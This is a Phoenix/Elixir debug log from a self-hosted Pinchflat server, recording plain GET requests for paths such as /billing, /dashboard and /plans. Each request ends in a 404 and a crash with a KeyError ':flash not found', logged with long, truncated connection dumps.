PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3096.0>, params: %{}, path_info: ["signup"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, (truncated) 21:08:36.715 [info] GET /billing 21:08:36.716 [debug] QUERY OK source="settings" db=0.4ms idle=68.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.717 [debug] QUERY OK source="settings" db=0.3ms idle=59.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.717 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.720 [info] GET /dashboard 21:08:36.721 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=62.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.721 [debug] QUERY OK source="settings" db=0.2ms idle=53.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.721 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.718 [error] #PID<0.3098.0> running PinchflatWeb.Endpoint (connection #PID<0.3097.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /billing ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /billing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3097.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/billing", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49246}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3098.0>, params: %{}, path_info: ["billing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/billing", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-T3htCpiMsMAAMqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3097.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/billing", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49246}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /billing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3097.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/billing", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49246}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3098.0>, params: %{}, path_info: ["billing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, (truncated) 21:08:36.722 [error] #PID<0.3100.0> running PinchflatWeb.Endpoint (connection #PID<0.3099.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /dashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3099.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49248}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3100.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/dashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-T4o2-d1H-8AAMsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3099.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49248}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3099.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49248}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3100.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.inte (truncated) 21:08:36.745 [info] GET /order 21:08:36.746 [debug] QUERY OK source="settings" db=0.2ms idle=77.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.746 [debug] QUERY OK source="settings" db=0.2ms idle=29.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.747 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.748 [error] #PID<0.3102.0> running PinchflatWeb.Endpoint (connection #PID<0.3101.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /order ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /order (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3101.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/order", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49256}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3102.0>, params: %{}, path_info: ["order"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/order", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-T-oMo6wLEIAAMuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3101.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/order", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49256}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /order (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3101.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/order", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49256}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3102.0>, params: %{}, path_info: ["order"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user (truncated) 21:08:36.819 [info] GET /plans 21:08:36.819 [debug] QUERY OK source="settings" db=0.3ms idle=102.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.820 [debug] QUERY OK source="settings" db=0.1ms idle=99.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:36.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:36.820 [error] #PID<0.3106.0> running PinchflatWeb.Endpoint (connection #PID<0.3105.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /plans ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /plans (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/plans", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49264}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3106.0>, params: %{}, path_info: ["plans"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/plans", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-UQNp2aUU1QAAMwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/plans", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49264}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, 